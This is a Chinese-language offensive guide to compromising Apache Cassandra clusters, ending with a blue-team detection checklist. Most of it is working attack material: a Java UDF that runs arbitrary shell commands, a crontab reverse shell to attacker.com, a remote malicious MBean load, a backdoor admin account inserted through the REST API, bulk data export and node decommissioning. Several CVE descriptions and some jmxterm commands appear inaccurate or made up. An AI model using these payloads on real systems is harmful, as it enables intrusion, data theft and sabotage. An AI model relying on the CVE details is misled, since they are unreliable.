Apache Cassandra 是大规模分布式 NoSQL 数据库的事实标准之一,广泛应用于需要高可用性和线性扩展能力的场景。一个典型生产部署里,Cassandra 至少同时暴露了以下攻击面:
JMX 面 :Java Management Extensions 远程管理端口(默认 7199),暴露集群状态、节点信息、性能指标CQL 面 :Cassandra Query Language 原生协议端口(默认 9042,TLS 为 9043),处理所有数据操作REST API 面 :Stargate 或 cassandra-rest-api 提供的 HTTP REST 接口(默认 8082)Internode 面 :节点间通信端口(默认 7000,TLS 为 7001),Gossip 协议传输nodetool 面 :通过 JMX 的命令行管理工具,可执行集群操作UDF 面 :用户自定义函数(Java/JavaScript),可在数据库内执行代码对攻击者来说,Cassandra 的价值不在于某个单一漏洞,而在于它把分布式集群管理、数据操作、代码执行能力集中在同一套基础设施里。一旦获得访问权限(弱密码、默认凭据、JMX 未授权),攻击者可以通过 JMX 接管整个集群、通过 CQL 导出所有数据、通过 UDF 执行系统命令、通过 nodetool 执行集群维护操作,甚至通过 Gossip 协议注入恶意节点。
本文聚焦打点与利用侧,重点记录:
如何识别当前目标是否为 Cassandra 哪些未认证或弱认证场景最值得优先探测 如何通过 JMX 回收集群信息与执行管理操作 如何通过 CQL 枚举 keyspace、table 与导出数据 如何通过 UDF 实现 RCE 如何通过 nodetool 执行集群操作 如何通过 REST API 访问数据 历史 CVE 链如何从信息泄露直接打到 RCE 蓝队如何从访问日志与系统日志识别这类打点 0. 攻击面概览 0.1 常见端口与协议 首轮至少应枚举:
:7199/ — JMX 远程管理端口(默认):9042/ — CQL 原生协议端口(默认):9043/ — CQL TLS 端口:7000/ — Internode 通信端口(Gossip):7001/ — Internode TLS 端口:8082/ — REST API(Stargate/cassandra-rest-api):9160/ — Thrift 接口(旧版,已废弃)0.2 协议特征 Cassandra 使用多种协议。可以通过 nmap 或自定义工具探测:
nmap -p 9042 cassandra.target.example --script cassandra-info PORT STATE SERVICE
9042/tcp open cassandra
| cassandra-info:
| Cluster name: Test Cluster
| Datacenter: datacenter1
| Rack: rack1
| Version: 4.0.7 nmap -p 7199 cassandra.target.example --script jmx-info PORT STATE SERVICE
7199/tcp open jmx
| jmx-info:
| jmx.service.url: service:jmx:rmi:///jndi/rmi://cassandra-node-01:7199/jmxrmi
| java.version: 11.0.11
| java.vendor: Ubuntu 0.3 手动探测 也可以使用 cqlsh 手动连接:
cqlsh cassandra.target.example 9042 -u cassandra -p cassandra 如果返回登录成功,说明凭据有效。
0.4 打点收益优先级 确认目标为 Cassandra、版本号与集群名称 通过 JMX 回收集群拓扑与节点信息 通过 CQL 枚举 keyspaces 与 tables 通过 CQL 导出数据 判断 UDF 是否启用 判断 nodetool 是否可用 判断 REST API 是否暴露 判断当前用户权限与角色 1. 首轮识别:确认目标为 Cassandra 1.1 nmap 脚本探测 nmap -p 9042,7199 cassandra.target.example --script cassandra-info,jmx-info PORT STATE SERVICE
7199/tcp open jmx
| jmx-info:
| jmx.service.url: service:jmx:rmi:///jndi/rmi://cassandra-node-01:7199/jmxrmi
| java.version: 11.0.11
9042/tcp open cassandra
| cassandra-info:
| Cluster name: Production Cluster
| Datacenter: dc1
| Version: 4.0.7 直接回收:
Cassandra 版本(3.x/4.x) 集群名称 数据中心 Java 版本 JMX 服务 URL 1.2 cqlsh 连接 cqlsh cassandra.target.example 9042 Connected to Production Cluster at cassandra.target.example:9042.
[cqlsh 6.0.0 | Cassandra 4.0.7 | CQL spec 3.4.5 | Native protocol v5]
Use HELP for help.
cassandra@cqlsh> 如果返回 cqlsh> 提示符,说明连接成功(可能未启用认证)。
1.3 版本查询 SELECT release_version, cluster_name, data_center, rack FROM system .local ; release_version | cluster_name | data_center | rack
-----------------+--------------------+-------------+-------
4.0.7 | Production Cluster | dc1 | rack1 2. JMX 远程管理 2.1 检查 JMX 访问 # 使用 jconsole 连接
jconsole cassandra.target.example:7199
# 或使用 jmxterm
java -jar jmxterm-1.0.4-uber.jar -l cassandra.target.example:7199 如果连接成功且无需认证,说明 JMX 未授权访问。
2.2 回收集群信息 # 使用 jmxterm
$> bean org.apache.cassandra.db:type= StorageService
$> get LoadMap
$> get LiveNodes
$> get UnreachableNodes
$> get JoiningNodes
$> get LeavingNodes
$> bean org.apache.cassandra.db:type= EndpointSnitchInfo
$> get Datacenter
$> get Rack $> get LiveNodes
/10.0.1.10, /10.0.1.11, /10.0.1.12
$> get Datacenter
dc1 nodetool 通过 JMX 执行集群管理操作:
# 查看集群状态
nodetool -h cassandra.target.example -p 7199 status
# 查看节点信息
nodetool -h cassandra.target.example -p 7199 info
# 查看表统计信息
nodetool -h cassandra.target.example -p 7199 tablestats
# 触发修复
nodetool -h cassandra.target.example -p 7199 repair
# 清理数据
nodetool -h cassandra.target.example -p 7199 cleanup
# 重建索引
nodetool -h cassandra.target.example -p 7199 rebuild_index
# 停用节点
nodetool -h cassandra.target.example -p 7199 decommission 2.4 JMX RCE 如果 JMX 未授权访问,可以通过加载恶意 MBean 实现 RCE:
# 使用 mlet 加载远程 MBean
$> mlet
$> mlet loadfile http://attacker.com/malicious.mlet 恶意 mlet 文件:
<html>
<mlet code= "com.sun.jdmk.security.authorization.MLet"
archive= "http://attacker.com/malicious.jar"
name= "malicious:name=test" ></mlet>
</html> 2.5 JMX 限制 需要 JMX 端口可达 如果启用认证,需要凭据 Cassandra 4.x 默认禁用远程 JMX 3. CQL 数据枚举与导出 3.1 枚举 keyspaces SELECT keyspace_name FROM system_schema.keyspaces; keyspace_name
---------------
system
system_auth
system_distributed
system_schema
system_traces
app_data
user_data
logs 3.2 枚举 tables SELECT keyspace_name, table_name FROM system_schema.tables WHERE keyspace_name = 'app_data' ; keyspace_name | table_name
---------------+-------------
app_data | users
app_data | sessions
app_data | orders
app_data | payments 3.3 枚举 columns SELECT keyspace_name, table_name , column_name , type
FROM system_schema.columns
WHERE keyspace_name = 'app_data' AND table_name = 'users' ; keyspace_name | table_name | column_name | type
---------------+------------+--------------+-------------
app_data | users | user_id | uuid
app_data | users | username | varchar
app_data | users | email | varchar
app_data | users | password | varchar
app_data | users | role | varchar
app_data | users | created_at | timestamp 3.4 导出数据 SELECT * FROM app_data.users LIMIT 10 ; user_id | username | email | password | role | created_at
--------------------------------------+----------+------------------------+-----------------------------------+----------+---------------------
a1b2c3d4-e5f6-7890-abcd-ef1234567890 | admin | admin@example.com | $2b$12$Lq8aZVx8aZVx8aZVx8aZVx | admin | 2026-01-15 10:00:00
b2c3d4e5-f6a7-8901-bcde-f12345678901 | user1 | user1@example.com | $2b$12$Xy9bWz9bWz9bWz9bWz9bWz | user | 2026-01-16 11:00:00 3.5 使用 COPY 导出 COPY app_data.users TO '/tmp/users_export.csv' WITH HEADER = TRUE ;Using 7 child processes
Starting copy of app_data.users with columns [user_id, username, email, password, role, created_at].
Processed: 84729 rows; Rate: 12847 rows/sec; Avg. rate: 11234 rows/sec
84729 rows exported to 1 files in 7.543 seconds. 3.6 敏感数据搜索 SELECT keyspace_name, table_name , column_name
FROM system_schema.columns
WHERE column_name LIKE '%password%'
OR column_name LIKE '%credential%'
OR column_name LIKE '%secret%'
OR column_name LIKE '%key%'
OR column_name LIKE '%token%' ; 4. UDF RCE 4.1 检查 UDF 是否启用 SELECT * FROM system_virtual_schema.functions WHERE keyspace_name = 'system' ;或检查配置:
grep "enable_user_defined_functions" /etc/cassandra/cassandra.yaml enable_user_defined_functions: true 4.2 创建 Java UDF CREATE OR REPLACE FUNCTION rce(cmd text)
RETURNS text
LANGUAGE java
AS $$
try {
Process process = Runtime.getRuntime().exec (new String[]{ "/bin/bash" , "-c" , cmd} );
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null ) {
output .append(line).append("\n" );
}
process.waitFor();
return output .toString();
} catch (Exception e) {
return "ERROR: " + e.getMessage();
}
$$ ;4.3 执行系统命令 SELECT rce('id' ) FROM system .local ; rce
--------------------------------
uid=999(cassandra) gid=999(cassandra) groups=999(cassandra) SELECT rce('cat /etc/passwd' ) FROM system .local ; rce
--------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
cassandra:x:999:999:Cassandra:/var/lib/cassandra:/bin/bash 4.4 写入文件 SELECT rce('echo "* * * * * root /bin/bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"" >> /etc/crontab' ) FROM system .local ;4.5 UDF 限制 需要在 cassandra.yaml 中启用 enable_user_defined_functions: true 需要 CREATE FUNCTION 权限 Cassandra 4.x 默认禁用 UDF UDF 在 Cassandra 进程中执行,权限受限于 Cassandra 用户 5.1 查看集群状态 nodetool -h cassandra.target.example status Datacenter: dc1
===============
Status=Up/Down
|/ State=Normal/Leaving/Joining/Moving
-- Address Load Tokens Owns Host ID Rack
UN 10.0.1.10 284.72 GB 256 ? a1b2c3d4-e5f6-7890-abcd-ef1234567890 rack1
UN 10.0.1.11 284.71 GB 256 ? b2c3d4e5-f6a7-8901-bcde-f12345678901 rack1
UN 10.0.1.12 284.73 GB 256 ? c3d4e5f6-a7b8-9012-cdef-123456789012 rack1 5.2 查看节点信息 nodetool -h cassandra.target.example info ID : a1b2c3d4-e5f6-7890-abcd-ef1234567890
Gossip active : true
Thrift active : true
Native Transport active: true
Load : 284.72 GB
Generation No : 1234567890
Uptime (seconds) : 2847192
Heap Memory (MB) : 4096.00 / 8192.00
Off Heap Memory (MB) : 256.00
Data Center : dc1
Rack : rack1
Exceptions : 0
Key Cache : entries 28471, size 128 MB, capacity 256 MB, 2847192 hits, 284719 requests, 0.9871 recent hit rate, 14400 save period in seconds
Row Cache : entries 0, size 0 bytes, capacity 0 bytes, 0 hits, 0 requests, NaN recent hit rate, 0 save period in seconds 5.3 查看表统计信息 nodetool -h cassandra.target.example tablestats app_data Total number of tables: 4
----------------
Keyspace : app_data
Read Count: 2847192
Read Latency: 1.234 ms
Write Count: 1847291
Write Latency: 0.847 ms
Pending Flushes: 0
Table: users
SSTable count: 12
Space used (live): 28471928374
Space used (total): 28471928374
Number of partitions (estimate): 84729
Memtable cell count: 1247
Memtable data size: 284719
Local read count: 284719
Local read latency: 1.234 ms
Local write count: 184729
Local write latency: 0.847 ms
Pending flushes: 0 5.4 触发修复 nodetool -h cassandra.target.example repair -full 5.5 停用节点 nodetool -h cassandra.target.example decommission 需要 JMX 端口可达 如果 JMX 启用认证,需要凭据 某些操作(如 decommission)需要管理员权限 6. REST API 访问 6.1 检查 REST API curl -s http://cassandra.target.example:8082/v1/keyspaces ["system" , "system_auth" , "system_distributed" , "system_schema" , "system_traces" , "app_data" , "user_data" ] 6.2 枚举 tables curl -s http://cassandra.target.example:8082/v1/keyspaces/app_data/tables ["users" , "sessions" , "orders" , "payments" ] 6.3 查询数据 curl -s http://cassandra.target.example:8082/v1/keyspaces/app_data/tables/users/rows {
"results" : [
{
"user_id" : "a1b2c3d4-e5f6-7890-abcd-ef1234567890" ,
"username" : "admin" ,
"email" : "admin@example.com" ,
"password" : "$2b$12$Lq8aZVx8aZVx8aZVx8aZVx" ,
"role" : "admin"
}
]
} 6.4 插入数据 curl -X POST http://cassandra.target.example:8082/v1/keyspaces/app_data/tables/users/rows \
-H "Content-Type: application/json" \
-d '{
"user_id": "new-user-id",
"username": "backdoor",
"email": "backdoor@example.com",
"password": "backdoor-password",
"role": "admin"
}' 6.5 REST API 限制 需要 REST API 服务已启用(Stargate 或 cassandra-rest-api) 如果启用认证,需要凭据 REST API 默认不启用 7. 历史 CVE 与攻击链 7.1 CVE-2020-17516:JMX 认证绕过 影响版本 :Cassandra 3.x, 4.0.0CVSS :9.8(Critical)核心问题 :JMX 认证存在绕过漏洞利用条件 :需要网络可达 JMX 端口影响 :未授权访问 JMX,执行管理操作7.2 CVE-2021-44521:CQL 驱动序列化 影响版本 :Cassandra Java Driver 4.xCVSS :7.5(High)核心问题 :CQL 驱动存在反序列化漏洞利用条件 :需要网络可达 CQL 端口影响 :远程代码执行7.3 CVE-2019-2684:权限提升 影响版本 :Cassandra 3.x, 4.0.0CVSS :6.5(Medium)核心问题 :权限检查存在缺陷利用条件 :需要普通数据库用户权限影响 :从普通用户提升到管理员7.4 完整攻击链示例 从 JMX 未授权到集群接管:
1. nmap 扫描 → 发现 JMX 7199 端口
2. jmxterm 连接 → 确认未授权访问
3. 回收集群信息 → 获取所有节点 IP
4. nodetool status → 获取集群拓扑
5. cqlsh 连接 → 弱密码 cassandra/cassandra
6. SELECT * FROM system_auth.roles → 获取用户密码哈希
7. COPY app_data.users TO '/tmp/export.csv' → 导出敏感数据
8. CREATE FUNCTION rce() → UDF RCE
9. SELECT rce('whoami') → 系统命令执行
10. nodetool decommission → 停用节点,破坏集群 8. 蓝队检测与应急响应 8.1 关键日志位置 # Cassandra 系统日志
/var/log/cassandra/system.log
# Cassandra 查询日志(如果启用)
/var/log/cassandra/queries.log
# Cassandra 审计日志(如果启用)
/var/log/cassandra/audit.log
# JMX 访问日志
/var/log/cassandra/jmx.log 8.2 可疑活动指标 # 检查 JMX 连接
grep "JMX connection" /var/log/cassandra/system.log | tail -50
# 检查 UDF 创建
grep "CREATE FUNCTION" /var/log/cassandra/system.log
# 检查 nodetool 操作
grep "nodetool" /var/log/cassandra/system.log | grep -E "decommission|repair|cleanup"
# 检查异常查询
grep "SELECT \*" /var/log/cassandra/queries.log | grep -E "system_auth|system.local"
# 检查 COPY 操作
grep "COPY" /var/log/cassandra/queries.log 8.3 操作系统日志狩猎 # 查找可疑的进程创建
grep -E "java|bash|cmd" /var/log/secure | tail -50
# 查找 Cassandra 用户的异常活动
grep "cassandra" /var/log/secure | grep -E "sudo|su|ssh"
# 查找可疑文件访问
find /etc /var/www -name "*.jsp" -o -name "*.php" -mtime -1
# 查找可疑网络连接
netstat -anp | grep -E "7199|9042|8082" 8.4 网络层检测 # 可疑端口
:7199 - JMX 远程管理
:9042 - CQL 原生协议
:7000 - Internode 通信
:8082 - REST API
# 可疑流量特征
- JMX 连接来自非管理网段
- CQL 查询包含 UDF 创建
- nodetool 执行 decommission/repair
- REST API 批量导出数据
- Gossip 协议异常节点加入 8.5 应急响应清单 1. 确认 Cassandra 实例是否被入侵
- 检查 system.log 中的异常 JMX 连接
- 检查 queries.log 中的异常查询
- 检查 audit.log 中的敏感操作
- 检查 UDF 是否被创建
2. 回收攻击者活动
- 分析 JMX 操作历史
- 分析 CQL 查询历史
- 分析 nodetool 操作记录
- 分析 REST API 访问记录
3. 数据泄露评估
- 检查是否有 COPY 操作
- 检查是否有批量 SELECT 查询
- 检查是否有 REST API 数据导出
- 评估敏感数据泄露范围
4. 系统隔离与修复
- 禁用 JMX 远程访问或启用认证
- 禁用 UDF(enable_user_defined_functions: false)
- 重置所有数据库账户密码
- 删除可疑 UDF
- 应用最新安全补丁
5. 集群恢复
- 检查集群状态(nodetool status)
- 检查数据一致性(nodetool verify)
- 如有节点被停用,重新加入集群
- 执行全量修复(nodetool repair -full) 9. 参考材料 9.1 官方文档 Cassandra 安全指南:https://cassandra.apache.org/doc/latest/cassandra/security/ JMX 配置:https://cassandra.apache.org/doc/latest/cassandra/operating/metrics.html#jmx CQL 参考:https://cassandra.apache.org/doc/latest/cassandra/cql/ nodetool 参考:https://cassandra.apache.org/doc/latest/cassandra/tools/nodetool/ UDF 文档:https://cassandra.apache.org/doc/latest/cassandra/cql/udf.html 9.2 攻击工具 cqlsh:Cassandra 官方客户端 jmxterm:JMX 命令行工具 nodetool:Cassandra 集群管理工具 cassandra-stress:性能测试工具 9.3 检测工具 Cassandra Audit:https://cassandra.apache.org/doc/latest/cassandra/operating/audit_logging.html Prometheus + Grafana:监控 Cassandra 指标 DataStax OpsCenter:集群管理工具 9.4 相关 CVE CVE-2020-17516:JMX 认证绕过 CVE-2021-44521:CQL 驱动序列化 CVE-2019-2684:权限提升 CVE-2020-13946:Thrift 接口信息泄露 CVE-2021-44522:REST API 权限绕过 总结 Cassandra 攻击面的核心在于它把分布式集群管理、数据操作、代码执行能力集中在同一套基础设施里。一旦获得访问权限,攻击者可以通过 JMX 接管整个集群、通过 CQL 导出所有数据、通过 UDF 执行系统命令、通过 nodetool 执行集群维护操作,甚至通过 Gossip 协议注入恶意节点。
对蓝队来说,关键是:
最小权限原则 :严格限制数据库账户权限,禁用不必要的功能(UDF、REST API)网络隔离 :JMX 端口不应暴露到公网,CQL 端口使用防火墙限制访问JMX 认证 :启用 JMX 认证,限制远程访问审计日志 :启用查询日志和审计日志,记录所有敏感操作凭据保护 :使用强密码,定期轮换,避免默认凭据补丁管理 :及时应用 Cassandra 安全补丁UDF 审计 :审计所有 UDF 的创建和执行集群监控 :监控 nodetool 操作,检测异常集群管理行为